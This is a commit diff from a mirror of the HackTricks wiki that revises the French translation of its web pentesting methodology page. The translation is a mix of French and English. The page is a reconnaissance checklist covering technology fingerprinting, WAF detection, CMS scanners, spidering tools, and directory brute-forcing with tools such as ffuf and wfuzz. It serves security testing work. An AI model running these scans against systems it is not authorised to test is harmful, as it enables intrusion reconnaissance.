maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/command-injection.md', 'src/pentesting-w

Browse Source
This commit is contained in:
Translator 2025-08-28 14:22:47 +00:00
parent 198bc316c1
commit 6fe1aa11c0
5 changed files with 320 additions and 199 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)

293
src/network-services-pentesting/pentesting-web/README.md
View File

@ -1,8 +1,8 @@
# 80,443 - Méthodologie de Pentesting Web
# 80,443 - Méthodologie Pentesting Web
{{#include ../../banners/hacktricks-training.md}}
## Informations de base
## Infos de base
Le service web est le service le plus **commun et étendu** et de nombreux **types différents de vulnérabilités** existent.
@ -24,46 +24,46 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md
{{#endref}}
## Méthodologie résumé
## Methodology summary
> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement cela. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
> Dans cette méthodologie nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous pouvez identifier avec succès la technologie.
- [ ] Y a-t-il une **vulnérabilité connue** de la version de la technologie ?
- [ ] Utilisez-vous une **technologie bien connue** ? Une **astuce utile** pour extraire plus d'informations ?
- [ ] Y a-t-il un **scanner spécialisé** à exécuter (comme wpscan) ?
- [ ] Lancez des **scanners à usage général**. Vous ne savez jamais s'ils vont trouver quelque chose ou s'ils vont découvrir des informations intéressantes.
- [ ] Commencez par les **vérifications initiales** : **robots**, **sitemap**, erreur **404** et **scan SSL/TLS** (si HTTPS).
- [ ] Commencez à **spider** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres utilisés.** Vérifiez également les **découvertes spéciales**.
- [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être spideré._
- [ ] **Brute-Forcing de répertoire** : Essayez de brute-forcer tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
- [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être brute-forcé._
- [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** de **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
- [ ] **Paramètres de Brute-Force** : Essayez de **trouver des paramètres cachés**.
- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant **l'entrée utilisateur**, vérifiez tous les types de **vulnérabilités** y afférant.
- [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **trucs** à garder en tête pendant le reste du test si vous parvenez à identifier la tech.
- [ ] Existe-t-il une **vulnérabilité connue** pour la version de la technologie ?
- [ ] Utilisez-vous une **tech bien connue** ? Y a-t-il une **astuce utile** pour extraire plus d'informations ?
- [ ] Un **specialised scanner** à lancer (like wpscan) ?
- [ ] Lancez des **general purposes scanners**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes.
- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS).
- [ ] Commencez le **spidering** de la page web : il est temps de **trouver** tous les **fichiers, folders** et **paramètres being used.** Vérifiez également les **special findings**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing** : Essayez de brute force tous les dossiers découverts en recherchant de nouveaux **files** et **directories**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Backups checking** : Testez si vous pouvez trouver des **backups** des **discovered files** en ajoutant des extensions de sauvegarde courantes.
- [ ] **Brute-Force parameters** : Essayez de **trouver des paramètres cachés**.
- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant des **user input**, vérifiez tous les types de **vulnérabilités** qui y sont liés.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Version du serveur (Vulnérable ?)
## Server Version (Vulnerable?)
### Identifier
### Identify
Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur qui fonctionne.\
Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. Un **scan Nmap** peut identifier la version du serveur, mais il pourrait également être utile d'utiliser les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\
Les **HTTP headers and cookies of the response** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilités de l'application web** **version**](../../generic-hacking/search-exploits.md)
Rechercher **les** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Vérifiez si un WAF**
### **Vérifier s'il y a un WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Astuces technologiques web
### Web tech tricks
Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **technologies** bien connues utilisées :
@ -77,8 +77,9 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
- [**Git**](git.md)
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - base de données SQL Java**](h2-java-sql-database.md)
- [**Astuces IIS**](iis-internet-information-services.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
@ -88,7 +89,7 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php a beaucoup d'astuces intéressantes qui pourraient être exploitées)**](php-tricks-esp/index.html)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
@ -98,21 +99,21 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS à RCE)**](electron-desktop-apps/index.html)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Tenez compte du fait que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **dossiers** et **sous-domaines**._\
Si l'application web utilise une **techno/plateforme bien connue listée précédemment** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
_Prenez en compte que le **même domaine** peut utiliser **différentes technologies** sur différents **ports**, **folders** et **subdomains**._\
Si l'application web utilise une des **tech/platform listed before** ou toute autre, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et tiens-moi au courant !).
### Revue de code source
### Revue du code source
Si le **code source** de l'application est disponible sur **github**, en plus de réaliser par **vous-même un test en boîte blanche** de l'application, il y a **certaines informations** qui pourraient être **utiles** pour le **test en boîte noire** actuel :
Si le **source code** de l'application est disponible sur **github**, en plus d'effectuer par **vous-même un White box test** de l'application, certaines **informations** peuvent être **utiles** pour le **Black-Box testing** en cours :
- Y a-t-il un **Change-log ou Readme ou Version** fichier ou quoi que ce soit avec des **informations de version accessibles** via le web ?
- Comment et où sont sauvegardées les **identifiants** ? Y a-t-il un **fichier** (accessible ?) avec des identifiants (noms d'utilisateur ou mots de passe) ?
- Les **mots de passe** sont-ils en **texte clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
- Utilise-t-il une **clé maîtresse** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ?
- Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ?
- Y a-t-il des **informations intéressantes dans le github** (problèmes résolus et non résolus) ? Ou dans l'**historique des commits** (peut-être un **mot de passe introduit dans un ancien commit**) ?
- Y a-t-il un **Change-log or Readme or Version** file ou quoi que ce soit contenant des **version info accessible** via le web ?
- Comment et où sont stockées les **credentials** ? Y a-t-il un **file** (accessible ?) contenant des credentials (usernames ou passwords) ?
- Les **passwords** sont-ils en **plain text**, **encrypted**, ou quel **hashing algorithm** est utilisé ?
- Utilise-t-il une **master key** pour chiffrer quelque chose ? Quel **algorithm** est utilisé ?
- Pouvez-vous **accéder à l'un de ces files** en exploitant une vulnérabilité ?
- Y a-t-il des **informations intéressantes dans github** (issues résolues ou non) ? Ou dans l'**commit history** (peut-être un **password** introduit dans un ancien commit) ?
{{#ref}}
@ -133,12 +134,12 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### Scanners CMS
#### Scanners pour CMS
Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, peut-être que quelque chose d'intéressant sera trouvé :
Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, quelque chose d'intéressant peut être trouvé :
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites pour des problèmes de sécurité. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour des problèmes de sécurité. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> À ce stade, vous devriez déjà avoir des informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder à l'esprit pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et exécuté un scanner.
> À ce stade vous devriez déjà avoir quelques informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder en tête pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et lancé un scanner.
## Découverte d'application web étape par étape
## Step-by-step Web Application Discovery
> À partir de ce point, nous allons commencer à interagir avec l'application web.
### Vérifications initiales
### Initial checks
**Pages par défaut avec des informations intéressantes :**
**Default pages with interesting info:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Vérifiez également les commentaires dans les pages principales et secondaires.
- Vérifiez aussi les commentaires dans les pages principales et secondaires.
**Forcer des erreurs**
**Forcing errors**
Les serveurs web peuvent **se comporter de manière inattendue** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou **divulguer des informations sensibles**.
Les serveurs web peuvent **se comporter de manière inattendue** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou entraîner la **divulgation d'informations sensibles**.
- Accédez à des **pages factices** comme /whatever_fake.php (.aspx, .html, etc.)
- **Ajoutez "\[]", "]]" et "\[\["** dans les **valeurs de cookie** et les **valeurs de paramètre** pour créer des erreurs
- Générez une erreur en donnant une entrée comme **`/~randomthing/%s`** à la **fin** de l'**URL**
- Essayez **différents verbes HTTP** comme PATCH, DEBUG ou incorrects comme FAKE
- Accédez à des **pages factices** comme /whatever_fake.php (.aspx,.html,.etc)
- **Ajoutez "\[]", "]]", and "\[\["** dans les **valeurs de cookie** et les **valeurs de paramètres** pour provoquer des erreurs
- Générez une erreur en fournissant en entrée **`/~randomthing/%s`** à la **fin** de l'**URL**
- Essayez différents **HTTP Verbs** comme PATCH, DEBUG ou incorrects comme FAKE
#### **Vérifiez si vous pouvez télécharger des fichiers (**[**verbe PUT, WebDav**](put-method-webdav.md)**)**
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Si vous constatez que **WebDav** est **activé** mais que vous n'avez pas suffisamment de permissions pour **télécharger des fichiers** dans le dossier racine, essayez de :
Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment de permissions pour **uploading files** dans le dossier racine, essayez de :
- **Brute Forcer** les identifiants
- **Télécharger des fichiers** via WebDav dans le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pourriez avoir des permissions pour télécharger des fichiers dans d'autres dossiers.
- **Brute Force** credentials
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
### **Vulnérabilités SSL/TLS**
### **SSL/TLS vulnerabilites**
- Si l'application **n'oblige pas l'utilisateur à utiliser HTTPS** à un moment donné, alors elle est **vulnérable aux attaques MitM**
- Si l'application **envoie des données sensibles (mots de passe) en utilisant HTTP**. Alors c'est une vulnérabilité élevée.
- Si l'application **n'impose pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnérable à MitM**
- Si l'application **envoie des données sensibles (passwords) via HTTP**. Alors c'est une vulnérabilité élevée.
Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de Bug Bounty, ce type de vulnérabilités ne sera probablement pas accepté) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités :
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (Dans les programmes Bug Bounty probablement ce genre de vulnérabilités ne sera pas accepté) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -195,65 +196,65 @@ Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier
sslscan <host:port>
sslyze --regular <ip:port>
```
Informations sur les vulnérabilités SSL/TLS :
Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
Lancez une sorte de **spider** à l'intérieur du web. L'objectif du spider est de **trouver autant de chemins que possible** à partir de l'application testée. Par conséquent, le crawling web et les sources externes doivent être utilisés pour trouver autant de chemins valides que possible.
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
- [**gospider**](https://github.com/jaeles-project/gospider) (go) : Spider HTML, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : Spider HML, avec LinkFinder pour les fichiers JS et Archive.org comme source externe.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : Spider HTML, indique également les "fichiers juteux".
- [**evine** ](https://github.com/saeeddhqan/evine)(go) : Spider HTML CLI interactif. Il recherche également dans Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas un spider mais peut être utile. Vous pouvez simplement indiquer un fichier avec des hôtes et un fichier avec des chemins, et meg récupérera chaque chemin sur chaque hôte et enregistrera la réponse.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : Spider HTML avec capacités de rendu JS. Cependant, il semble qu'il ne soit pas maintenu, la version précompilée est ancienne et le code actuel ne compile pas.
- [**gau**](https://github.com/lc/gau) (go) : Spider HTML qui utilise des fournisseurs externes (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera des URL avec des paramètres et les listera.
- [**galer**](https://github.com/dwisiswant0/galer) (go) : Spider HTML avec capacités de rendu JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Spider HTML, avec des capacités de beautification JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans le code source HTML et dans les fichiers JavaScript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Un script python 2.7 utilisant Tornado et JSBeautifier pour analyser les URL relatives à partir des fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble ne pas être maintenu.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL en utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives à partir de fichiers laids (minifiés).
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassembler des informations intéressantes à partir de fichiers JS en utilisant plusieurs outils.
- [**subjs**](https://github.com/lc/subjs) (go) : Trouver des fichiers JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go) : Charger une page dans un navigateur sans tête et imprimer toutes les URL chargées pour charger la page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust) : Outil de découverte de contenu mélangeant plusieurs options des outils précédents.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions) : Une extension Burp pour trouver des chemins et des paramètres dans les fichiers JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper) : Un outil qui, étant donné l'URL .js.map, vous obtiendra le code JS beautifié.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : Cet outil est utilisé pour découvrir des points de terminaison pour une cible donnée.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvrir des liens à partir de la machine Wayback (téléchargeant également les réponses dans le Wayback et cherchant plus de liens).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Explorer (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes à partir du code source JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple **extension Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête afin de créer une liste de mots personnalisée pour le fuzzing et l'énumération.
- [**katana**](https://github.com/projectdiscovery/katana) (go) : Outil génial pour cela.
- [**Crawley**](https://github.com/s0rg/crawley) (go) : Imprime chaque lien qu'il est capable de trouver.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
### Brute Force des répertoires et fichiers
### Brute Force directories and files
Commencez le **brute-forcing** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** et en ajoutant au début de la liste de mots utilisée les noms des répertoires trouvés).\
Outils :
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Tools:
- **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et **lent**) mais fonctionnel. Permet des certificats auto-signés et une recherche récursive. Trop lent par rapport aux autres options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il ne permet pas les certificats auto-signés mais** permet la recherche récursive.
- [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il permet des certificats auto-signés, il **n'a pas** de recherche **récursive**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, prend en charge la recherche récursive.**
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas un spider mais un outil qui, étant donné la liste des URL trouvées, supprimera les URL "dupliquées".
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger) : Extension Burp pour créer une liste de répertoires à partir de l'historique Burp de différentes pages.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Supprime les URL avec des fonctionnalités dupliquées (basées sur les imports js).
- [**Chamaleon**](https://github.com/iustin24/chameleon) : Il utilise Wappalyzer pour détecter les technologies utilisées et sélectionner les listes de mots à utiliser.
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**Dictionnaires recommandés :**
**Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dictionnaire inclus de Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Listes de mots Assetnote](https://wordlists.assetnote.io)
- [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
@ -267,81 +268,83 @@ Outils :
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Remarque : chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être brute-forcé._
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### Que vérifier sur chaque fichier trouvé
### What to check on each file found
- [**Vérificateur de liens brisés**](https://github.com/stevenvachon/broken-link-checker) : Trouver des liens brisés à l'intérieur des HTML qui peuvent être sujets à des prises de contrôle.
- **Sauvegardes de fichiers** : Une fois que vous avez trouvé tous les fichiers, recherchez des sauvegardes de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Les variations courantes pour nommer une sauvegarde sont : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez également utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
